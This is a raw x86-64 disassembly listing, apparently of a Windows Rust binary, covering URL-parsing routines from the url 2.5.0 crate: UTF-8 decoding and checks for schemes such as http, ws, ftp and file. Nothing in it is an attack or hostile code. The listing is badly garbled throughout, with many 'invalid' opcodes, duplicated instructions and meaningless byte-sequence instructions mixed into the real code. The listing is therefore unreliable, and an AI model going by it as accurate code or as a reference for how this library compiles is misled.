mov r8d, r10d
cmp r8d, 0xd
jbe 0x1400f7080
jmp 0x1400f708a
mov rcx, r15
mov dl, 9
call qword [r13 + 0x28]
add rdi, rbp
mov eax, 0x2600
add byte [rsi], ah
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
mov rcx, r14
jmp 0x1400f7178
inc rcx
inc ecx
cmp edx, 0xd
ja 0x1400f7220
mov r8d, 0x110000
bt eax, edx
jae 0x1400f7220
add byte [rcx], dl
add byte [rdi], cl
movabs dword [0x41000000b5830fd0], eax
cmp eax, 0x110000
cmp r8d, 0x110000
jne 0x1400f7230
cmp rcx, rdi
je 0x1400f7481
movzx r10d, byte [rcx]
mov dh, 0x11
movzx edx, r10b
test dl, dl
jns 0x1400f7150
mov r8d, edx
mov eax, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x1400f71ec
movzx r9d, byte [rcx + 2]
shl r11d, 6
invalid
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400f7205
invalid
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x1400f7481
add rcx, 4
cmp edx, 0xd
jbe 0x1400f715c
jmp 0x1400f7220
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0xd
jbe 0x1400f715c
jmp 0x1400f7220
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
cmp edx, 0xd
jbe 0x1400f715c
nop dword [rax]
mov r8d, edx
cmp r8d, 0x110000
je 0x1400f7178
mov eax, 0x2600
mov rcx, r14
jmp 0x1400f7268
inc rcx
cmp edx, 0xd
ja 0x1400f7310
mov r8d, 0x110000
bt eax, edx
jae 0x1400f7310
cmp r8d, 0x110000
jne 0x1400f7320
cmp rcx, rdi
je 0x1400f7481
movzx r10d, byte [rcx]
movzx edx, r10b
mov dh, 0xd2
test dl, dl
jns 0x1400f7240
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x1400f72dc
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
cli
invalid
jb 0x1400f72f5
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
invalid
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
cli
add byte [rax], al
adc dword [rax], eax
invalid
cli
add byte [rax], al
adc dword [rax], eax
je 0x1400f7481
add rcx, 4
cmp edx, 0xd
invalid
or eax, 0xff72860f
invalid
jbe 0x1400f724c
jmp 0x1400f7310
add rcx, 2
shl r8d, 6
rol dword [rdx], 0x41
shl eax, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0xd
jbe 0x1400f724c
pop rcx
invalid
invalid
invalid
pop rcx
invalid
jmp 0x1400f7310
add rcx, 3
shl r8d, 0xc
shl eax, 0xc
shl eax, 0xc
or r9d, r8d
mov edx, r9d
cmp edx, 0xd
jbe 0x1400f724c
nop dword [rax]
mov r8d, edx
cmp r8d, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
je 0x1400f7268
and r8d, 0xffffffdf
add r8d, 0xffffffbf
cmp r8d, 0x19
ja 0x1400f7481
add qword [r8], r8
invalid
add qword [r8], r8
add byte [rbp + rcx*4 - 0x44], cl
and al, 8
add dword [rax], eax
add byte [rbp + 0x2600], bh
lea r15, [rsp + 0x108]
mov ebp, 0x2600
mov rbx, r14
jmp 0x1400f7360
mov edx, eax
or edx, 0x20
cmp ecx, 0x1a
stc
invalid
stc
sbb cl, byte [rdi]
cmovae edx, eax
mov rcx, r15
cmovae edx, eax
mov rcx, r15
call fcn.1400f6c10
nop word [rax + rax]
cmp rbx, rdi
je case.0x1400df1d7.121
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rdi + rcx - 0x4a], al
add eax, dword [rcx + 0xf]
mov dh, 0xc0
movzx r8d, byte [rbx]
movzx eax, r8b
test al, al
js 0x1400f7390
inc rbx
cmp eax, 0xd
invalid
jbe 0x1400f73e5
or eax, 0x9ee96876
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
jmp 0x1400f7420
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x1fe183c1], cl
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [rbx + 1]
movzx ecx, byte [rbx + 1]
and r9d, 0x3f
loope 0x1400f73dd
cmp al, 0xdf
jbe 0x1400f73f0
movzx edx, byte [rbx + 2]
shl r9d, 6
shl ecx, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
clc
invalid
jb 0x1400f7403
clc
invalid
movzx eax, byte [rbx + 3]
add rbx, 4
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x1400f76ae
nop dword [rax]
cmp eax, 0xd
ja 0x1400f7420
add byte [rax], al
add byte [rbx + 0x3b770df8], al
cmp eax, 0xd
ja 0x1400f7420
bt ebp, eax
jb 0x1400f7360
invalid
jb 0x1400f73eb
invalid
invalid
movabs dword [0xebffffff72820fc5], eax
xor byte [rax - 0x7d], cl
ret
invalid
jmp 0x1400f7420
add rbx, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
cmp eax, 0xd
jbe 0x1400f73e5
jmp 0x1400f7420
add rbx, 3
add ebx, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
cmp eax, 0xd
jbe 0x1400f73e5
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp eax, 0x110000
je 0x1400f7360
lea edx, [rax - 0x61]
lea ecx, [rax - 0x41]
cmp edx, 0x1a
jb 0x1400f7344
cmp ecx, 0x1a
jb 0x1400f7344
lea edx, [rax - 0x30]
cmp edx, 0xa
jb 0x1400f7344
invalid
lea edx, [rax - 0x2d]
cmp edx, 2
jb 0x1400f7344
cmp eax, 0x2b
je 0x1400f7344
cmp eax, 0x3a
je 0x1400f76bc
mov qword [rsp + 0x118], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rbx, qword [rsp + 0x120]
test rbx, rbx
je 0x1400f7626
mov eax, 0x2600
mov rcx, r14
jmp case.0x1400db5fd.255
test byte [rax], al
add byte [rax], al
add byte [rax], al
inc rcx
cmp edx, 0xd
ja 0x1400f7570
add byte [rcx - 0x48], al
add byte [rax], al
adc dword [rax], eax
mov r8d, 0x110000
bt eax, edx
jae 0x1400f7570
invalid
mov ch, 0
add byte [rax], al
ror byte [rdi], 1
xor dword [rbp + 0x41000000], 0xffffff81
clc
add byte [rax], al
add byte [rcx], dl
invalid
cmp r8d, 0x110000
add byte [rcx], dl
add byte [rdi], cl
test dword [rax + 0x48000000], edi
cmp rcx, rdi
jne 0x1400f7580
cmp rcx, rdi
je 0x1400f75f2
movzx r10d, byte [rcx]
movzx edx, byte [rcx]
movzx edx, r10b
test dl, dl
jns 0x1400f74a0
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
mov dh, 0x59
add dword [rcx - 0x7d], eax
jrcxz 0x1400f752c
cmp dl, 0xdf
jbe 0x1400f753c
movzx r9d, byte [rcx + 2]
shl r11d, 6
shl ebx, 6
and r9d, 0x3f
or r9d, r11d
invalid
invalid
fld dword [rcx - 0x80]
cli
invalid
cmp r10b, 0xf0
jb 0x1400f7555
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
invalid
adc al, byte [rcx - 0x3f]
loope case.0x1400dc47a.231
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, ecx
or edx, ecx
or edx, r8d
cmp edx, 0x110000
je 0x1400f75f2
test ch, al
add byte [rax], al
add byte [rax], al
test ch, al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
rol dword [rbx + rax*4], 0xfa
add al, 0x83
cli
add rcx, 4
cmp edx, 0xd
jbe case.0x1400db533.262
jb 0x1400f7537
invalid
invalid
add al, 0x83
cli
or eax, 0xff72860f
jb 0x1400f7537
invalid
invalid
jmp 0x1400f7570
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0xd
or eax, 0xff59860f
invalid
invalid
or eax, 0xff59860f
invalid
invalid
jmp 0x1400f7570
add rcx, 3
shl r8d, 0xc
loopne 0x1400f7569
loopne 0x1400f7569
or r9d, r8d
mov edx, r9d
cmp edx, 0xd
cli
invalid
cli
or eax, 0xff40860f
invalid
xchg byte [rax - 1], al
invalid
jbe case.0x1400db533.262
invalid
nop dword [rax]
mov r8d, edx
cmp r8d, 0x110000
clc
add byte [rax], al
adc dword [rax], eax
je case.0x1400db5fd.255
cmp r8d, 0x23
jne 0x1400f75f2
clc
and esi, dword [rbp + 0x6c]
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xb0], rax
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0xb0], eax
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x108]
add byte [rax], al
movups xmm0, xmmword [rsp + 0x108]
or byte [rcx], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
movups xmm2, xmmword [rsp + 0x128]
add byte [rax], al
movups xmm3, xmmword [rsp + 0x138]
cmp byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x70], eax
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r8, rbx
mov r9, r14
call fcn.1400fdbc0
jmp 0x1400f80cb
mov r9d, dword [rbx + 0x2c]
mov r8d, r9d
mov rcx, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
inc r8d
je 0x1400f762c
cmp rdx, r8
cmp edx, eax
jbe 0x1400f762a
cmp byte [rcx + r8], 0xbf
jg 0x1400f762c
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.140108ac0
mov al, 6
jmp 0x1400f765c
jne 0x1400f7612
out 0xb0, al
invalid
mov al, 7
cmp rdx, r8
je 0x1400f765c
cmp byte [rcx + r8], 0x2f
jne 0x1400f765c
test r9d, r9d
je 0x1400f775e
cmp rdx, r9
jbe 0x1400f7758
cmp byte [rcx + r9], 0xbf
jg 0x1400f775e
jmp 0x1400f7aa7
mov rcx, qword [rsp + 0x68]
mov byte [rcx + 8], al
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax + 0x48018948], al
cmp dword [rsp + 0x108], 0
add byte [rax], al
add byte [rax + 0x48018948], al
cmp dword [rsp + 0x108], 0
je 0x1400f80cb
test byte [rbx + 0xa], cl
add byte [rax], al
or al, byte [r8]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x10
add dword [rax], eax
add byte [rax - 0x75], cl
or eax, 0x8abd1
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x1b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, rdi
cmp byte [rsp + 0x148], 1
add byte [rcx], al
jne 0x1400f746d
movups xmm0, xmmword [rsp + 0x108]
movups xmm1, xmmword [rsp + 0x118]
and al, 0x18
add dword [rax], eax
add byte [rax], al
and al, 0x18
add dword [rax], eax
add byte [rax], al
movups xmm2, xmmword [rsp + 0x128]
add byte [rax], al
movups xmm2, xmmword [rsp + 0x128]
add byte [rax], al
movups xmm3, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0xd0], xmm1
mov word [rax + rdx*8], fs
add byte [rax], al
invalid
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x100], rax
test byte [rax + rax], ah
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xf0], ebx
and al, 0xf0
add byte [rax], al
invalid
and al, 0x48
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax], ah
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xf0], ebx
and al, 0xf0
add byte [rax], al
invalid
and al, 0xf0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xe0], edx
loopne 0x1400f7702
add byte [rax], al
movaps xmmword [rsp + 0xe0], xmm2
loopne 0x1400f7702
add byte [rax], al
movaps xmmword [rsp + 0xc0], xmm0
mov r14, qword [rsp + 0xd0]
mov esi, dword [rsp + 0xd0]
mov esi, dword [rsp + 0xd0]
mov ah, 0x24
rol byte [rax], 1
add byte [rax], al
mov rax, r14
shr rax, 0x20
jne 0x1400f7846
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xc8
add byte [rax], al
add byte [rcx - 0x73], al
inc byte [rbx + 0x1e7703f8]
ja 0x1400f7750
mov rdx, qword [rsp + 0xc8]
lea eax, [r14 - 2]
cmp eax, 3
ja 0x1400f7750
lea rcx, [0x140179af8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movzx eax, word [rdx]
cmp eax, 0x7377
je 0x1400f78f1
mov bpl, 2
jmp 0x1400f78f4
jne 0x1400f7aa7
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x36], cl
mov rdx, r9
call fcn.1400fde70
test al, al
je 0x1400f77da
mov rcx, qword [rsp + 0x148]
mov qword [rsp + 0xb0], rcx
movups xmm0, xmmword [rsp + 0x108]
movups xmm1, xmmword [rsp + 0x118]
movups xmm2, xmmword [rsp + 0x128]
movups xmm3, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0xa0], xmm3
pushfq
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x90], edx
add byte [rax], al
pushfq
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x90], edx
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
and al, 0x70
and al, 0x70
mov qword [rsp + 0x28], rbx
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x70]
jo 0x1400f780e
mov ecx, dword [rsp + 0x68]
jo 0x1400f780e
mov ecx, dword [rsp + 0x68]
mov r8, r14
mov r9, rdi
call fcn.1400fcd10
push rbp
add byte [rax], al
push rbp
add byte [rax], al
jmp 0x1400f80cb
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xb0], rax
mov al, 0
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x108], al
add qword [rax], rax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
mov al, 0
invalid
add byte [rdi], cl
adc byte [rsp + 0x108], al
movups xmm1, xmmword [rsp + 0x118]
movups xmm2, xmmword [rsp + 0x128]
and al, 0x28
sub byte [rcx], al
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
movups xmm3, xmmword [rsp + 0x138]
adc byte [rsp + 0x138], bl
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
add byte [rdi], cl
sub dword [rsp + 0x80], ecx
movabs al, byte [0x902494290f000000]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x80], ecx
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x70]
lea edx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r8, r14
mov r9, rdi
call fcn.1400fb640
jmp 0x1400f80cb
mov rcx, qword [rsp + 0x68]
mov byte [rcx + 8], 9
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rsp + 0xc0], 0
je 0x1400f80cb
mov r8, qword [rsp + 0xc8]
mov eax, dword [rsp + 0xc8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400f80cb
cmp dword [rdx], 0x70747468
je 0x1400f78f1
mov eax, dword [rdx]
bswap eax
xor ecx, ecx
cmp eax, 0x66696c66
setae cl
cmp eax, 0x66696c65
sbb ecx, 0
setne bpl
setne ch
setne ch
add bpl, bpl
jmp 0x1400f78f4
mov eax, 0x70747468
xor eax, dword [rdx]
movzx ecx, byte [rdx + 4]
xor ecx, 0x73
or ecx, eax
jmp 0x1400f78e6
movzx eax, word [rdx]
xor eax, 0x7377
movzx ecx, byte [rdx + 2]
xor ecx, 0x73
or cx, ax
je 0x1400f78f1
movzx eax, word [rdx]
xor eax, 0x7466
movzx ecx, byte [rdx + 2]
xor ecx, 0x70
jo 0x1400f794a
or ecx, eax
sete al
mov bpl, 2
sub bpl, al
jmp 0x1400f78f4
mov bpl, 1
mov rax, r14
cmp r14, qword [rsp + 0xc0]
jne 0x1400f791e
lea rcx, [rsp + 0xc0]
call fcn.1400ba070
mov rdx, qword [rsp + 0xc8]
mov rax, qword [rsp + 0xd0]
mov byte [rdx + rax], 0x3a
inc rax
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd0], eax
test bpl, bpl
je 0x1400f7a2b
movzx ecx, bpl
cmp ecx, 2
jne 0x1400f7abb
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x190], rax
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xd0]
movaps xmm2, xmmword [rsp + 0xe0]
and al, 0xe0
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xf0], bl
and al, 0xe0
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xf0], bl
movaps xmmword [rsp + 0x180], xmm3
movaps xmmword [rsp + 0x170], xmm2
movaps xmmword [rsp + 0x160], xmm1
movaps xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
lea rcx, [0x140172ee0]
lea r8, [rsp + 0x70]
mov edx, 2
call case.0x1400dbe39.240
test al, al
ror byte [rdi], 0x84
add al, byte [r8]
invalid
mov r8, qword [rsp + 0x70]
mov r9, qword [rsp + 0x78]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xb0], rax
and al, 0xb0
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xc0], al
add byte [rax], al
invalid
and al, 0xb0
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xc0], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xd0], cl
movaps xmm1, xmmword [rsp + 0xd0]
movaps xmm2, xmmword [rsp + 0xe0]
movaps xmm3, xmmword [rsp + 0xf0]
add byte [rdi], cl
sub dword [rsp + 0xa0], ebx
add byte [rdi], cl
sub dword [rsp + 0xa0], ebx
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x28], r14d
mov byte [rsp + 0x20], 2
lea rdx, [rsp + 0x70]
lea edx, [rsp + 0x70]
lea edx, [rsp + 0x70]
push rsp
and al, 0x70
mov rcx, qword [rsp + 0x68]
jmp 0x1400f80c6
invalid
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0xf0
add byte [rax], al
add byte [rax], al
test r14, r14
je 0x1400f7a6d
mov r15, qword [rsp + 0xf8]
mov r14, qword [rsp + 0xf0]
test r14, r14
je 0x1400f7a6d
mov r15, qword [rsp + 0xf8]
mov qword [rsp + 0x70], rbx
mov dword [rsp + 0x70], ebx
mov qword [rsp + 0x78], rdi
lea rcx, [0x140172ee0]
lea r8, [rsp + 0x70]
mov edx, 2
call case.0x1400dbe39.240
test al, al
jne 0x1400f7a6d
mov rcx, r14
mov dl, 4
call qword [r15 + 0x28]
mov r14, qword [rsp + 0xd8]
fadd dword [rax]
add byte [rax], al
test r14, r14
je 0x1400f7d39
mov r9d, dword [r14 + 0x2c]
test r9, r9
je 0x1400f7d39
mov rcx, qword [r14 + 8]
mov rdx, qword [r14 + 0x10]
cmp rdx, r9
cmp edx, ecx
cmp edx, ecx
jbe 0x1400f7d14
cmp byte [rcx + r9], 0xbf
jg 0x1400f7d1a
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
xor r8d, r8d
call fcn.140108ac0
invalid
xor ecx, ecx
mov r8d, 0x2600
mov r15, rbx
mov r9, rbx
cmp r9, rdi
cmp ecx, edi
jne 0x1400f7aec
jmp case.0x1400d7391.385
mov r11d, r10d
cmp r11d, 0x110000
jne 0x1400f7b8f
invalid
add byte [rcx + 0x39], cl
stc
cmp r9, rdi
je case.0x1400d7391.385
movzx r12d, byte [r9]
mov dh, 0x21
and dword [rbp + 0xf], eax
movzx r10d, r12b
mov dh, 0xd4
test r10b, r10b
js 0x1400f7afe
inc r9
jmp 0x1400f7b70
mov r11d, r10d
and r11d, 0x1f
movzx r13d, byte [r9 + 1]
and r13d, 0x3f
cmp r10b, 0xdf
jbe 0x1400f7b52
movzx ebp, byte [r9 + 2]
shl r13d, 6
and ebp, 0x3f
or ebp, r13d
cmp r12b, 0xf0
jb 0x1400f7b62
movzx r10d, byte [r9 + 3]
and r11d, 7
shl r11d, 0x12
shl ebp, 6
and r10d, 0x3f
or r10d, ebp
or r10d, r11d
cmp r10d, 0x110000
je case.0x1400d7391.385
add r9, 4
jmp 0x1400f7b70
add r9, 2
shl r11d, 6
jrcxz 0x1400f7b60
or r11d, r13d
mov r10d, r11d
jmp 0x1400f7b70
add r9, 3
add ecx, 3
shl r11d, 0xc
or ebp, r11d
mov r10d, ebp
cmp r10d, 0xd
ja 0x1400f7ad3
invalid
invalid
invalid
mov r11d, 0x110000
bt r8d, r10d
jb 0x1400f7ad6
jmp 0x1400f7ad3
cmp r11d, 0x5c
pop rsp
je 0x1400f7b9b
cmp r11d, 0x2f
jne case.0x1400d7391.385
inc ecx
mov r15, r9
cmp r9, rdi
jne 0x1400f7aec
cmp ecx, 1
ja 0x1400f7f18
invalid
stc
add dword [rdi], ecx
xchg dword [rsi + 3], esp
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xd8
mov r12, qword [rsp + 0xd8]
test r12, r12
je 0x1400f7f18
add byte [rax], al
add byte [rbp - 0x7b], cl
in al, 0xf
test byte [rbp + 3], dl
add byte [rax], al
mov r9d, dword [r12 + 0x2c]
mov ecx, dword [rsp + 0x2c]
and al, 0x2c
mov rcx, qword [r12 + 8]
test r9, r9
je 0x1400f7ed3
std
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbp - 0x75], cl
and al, 0x10
mov r8, qword [r12 + 0x10]
cmp r8, r9
jbe 0x1400f7ecd
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rdx - 0x80], al
cmp al, 9
mov edi, 0x2e48f0f
jg 0x1400f7ed3
cmp byte [rcx + r9], 0xbf
jg 0x1400f7ed3
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
and byte [rcx + rcx*4 - 0x3e], cl
mov rdx, r8
ret 0x3145
xor r8d, r8d
call fcn.140108ac0
mov r15, qword [rsp + 0x160]
mov rax, r15
add dword [rax], eax
add byte [rcx + rcx*4 - 8], cl
shr rax, 0x20
jne 0x1400f7ce2
add byte [rax], al
call 0x107948b38
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x1a7], 0
mov byte [rsp + 0x1a7], 0
mov eax, 0x2600
mov r12, rbx
jmp 0x1400f7c3b
mov edx, ecx
cmp edx, 0x110000
jne case.0x140096fc6.1309
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx + 0x39], cl
cld
cmp r12, rdi
je case.0x1400dbf15.227
add dword [rax], eax
add byte [rbp + 0xf], al
mov dh, 0xc
and al, 0x41
movzx ecx, cl
movzx r9d, byte [r12]
movzx ecx, r9b
test cl, cl
js 0x1400f7c56
inc r12
jmp 0x1400f7cc6
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r12 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400f7cab
movzx r8d, byte [r12 + 2]
and al, 2
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
rol byte [rcx - 0x80], 1
stc
invalid
jb 0x1400f7cb9
rol byte [rcx - 0x80], 1
stc
invalid
movzx ecx, byte [r12 + 3]
and al, 3
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
je case.0x1400dbf15.227
jl 0x1400f7ca4
add byte [rax], al
add r12, 4
jmp 0x1400f7cc6
invalid
add r12, 2
shl edx, 6
or edx, r10d
mov ecx, edx
jmp 0x1400f7cc6
add r12, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
ja 0x1400f7c2d
pop rsi
invalid
invalid
invalid
pop rsi
invalid
mov edx, 0x110000
bt eax, ecx
jb case.0x1400d7e58.363
jmp 0x1400f7c2d
mov rcx, qword [rsp + 0x68]
mov byte [rcx + 8], 9
movabs rax, 0x8000000000000000
mov eax, 0
add byte [rax], al
add byte [rax + 0x48018948], al
cmp dword [rsp + 0x150], 0
mov eax, 0
add byte [rax], al
add byte [rax + 0x48018948], al
cmp dword [rsp + 0x150], 0
je 0x1400f80cb
mov r8, qword [rsp + 0x158]
jmp 0x1400f7873
jne 0x1400f7aa7
cmp r9d, 4
jne 0x1400f7d39
lea rdx, [0x140172e4c]
mov r8, r9
call fcn.140106bb0
xor ecx, ecx
test eax, eax
cmove rcx, r14
jmp 0x1400f7d3b
xor ecx, ecx
mov qword [rsp + 0xd0], 0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xb0], rax
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xe0]
movaps xmm2, xmmword [rsp + 0xf0]
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
nop
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
invalid
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x88], rax
add byte [rax], al
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x88], rax
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x70]
push rsp
and al, 0x70
mov rcx, qword [rsp + 0x68]
mov r8, rbx
jmp 0x1400f7839
invalid
invalid
invalid
cmp edx, 0x2f
jne case.0x1400dbf15.227
mov rax, r15
cmp r15, qword [rsp + 0x150]
jne 0x1400f7de2
push rax
add dword [rax], eax
add byte [rbp + 0x15], dh
lea rcx, [rsp + 0x150]
mov word [rax + rdx*2], fs
add dword [rax], eax
add al, ch
call fcn.1400ba070
mov rax, qword [rsp + 0x160]
mov eax, dword [rsp + 0x160]
invalid
invalid
mov word [rax + rbx*2], fs
add dword [rax], eax
call fcn.1400ba070
mov rax, qword [rsp + 0x160]
mov eax, dword [rsp + 0x160]
mov eax, dword [rsp + 0x160]
mov rcx, qword [rsp + 0x158]
mov byte [rcx + rax], 0x2f
inc rax
add dh, al
add al, 1
invalid
mov qword [rsp + 0x160], rax
add byte [rax], al
mov byte [rsp + 0x70], 0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r12
and al, 0x20
lea rcx, [rsp + 0x150]
lea r8, [rsp + 0x70]
and al, 0x70
add dword [rax], eax
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
mov dl, 2
mov r9, r15
call fcn.1400f9f40
and dword [rcx], esp
add byte [rax], al
and dword [rcx], esp
add byte [rax], al
jmp 0x1400f7e34
lea rcx, [rsp + 0x150]
mov rdx, rbx
mov r8, rdi
push rax
add dword [rax], eax
add byte [rax - 0x77], cl
fimul dword [rcx - 0x77]
clc
call fcn.1400f9c30
mov rcx, qword [rsp + 0x68]
and al, 0x68
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0xb0], r8
add byte [rax], al
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x150]
movaps xmm1, xmmword [rsp + 0x160]
mov word [rax + riz*2], fs
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x170], dl
mov word [rax + riz*2], fs
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x170], dl
invalid
movaps xmm3, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
xchg esp, eax
and al, 0x90
add byte [rax], al
invalid
pushfq
and al, 0xa0
movabs al, byte [0x902494290f000000]
add byte [rax], al
invalid
movabs al, byte [0x902494290f000000]
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x80], ecx
add byte [rax], al
movaps xmmword [rsp + 0x80], xmm1
